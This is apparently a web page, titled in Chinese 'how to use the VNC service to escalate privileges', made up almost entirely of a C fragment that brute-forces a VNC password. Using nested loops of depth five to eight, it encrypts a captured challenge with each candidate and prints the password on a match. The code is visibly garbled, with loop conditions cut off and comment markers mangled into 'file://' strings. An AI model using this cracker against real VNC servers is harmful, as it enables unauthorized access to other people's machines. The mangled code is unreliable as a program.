如何利用VNC服务提升权限

/ for 1
} file://2
} file://3

/************/
bft[5]='\0';
printf("\tdepth V\n");
for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];

if (verbose)
printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4

/************/
bft[6]='\0';
printf("\tdepth VI\n");
for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];

for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];

if (verbose)
printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5

/************/
bft[7]='\0';
printf("\tdepth VII\n");
for (cnt[6]=0;cnt[6] bft[6]=cset1[cnt[6]];

for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];

for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];

if (verbose)
printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5
} file://6

/************/
bft[8]='\0';
printf("\tdepth VIII\n");
for (cnt[7]=0;cnt[7] bft[7]=cset1[cnt[7]];

for (cnt[6]=0;cnt[6] bft[6]=cset1[cnt[6]];

for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];

for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];

if (verbose)
printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5
} file://6
} file://7
t2=GetTickCount();
printf("depth VIII (%20.4f wps)\n",(t2-t1)/63);

printf("Not in character set !\n");

exit(0);
}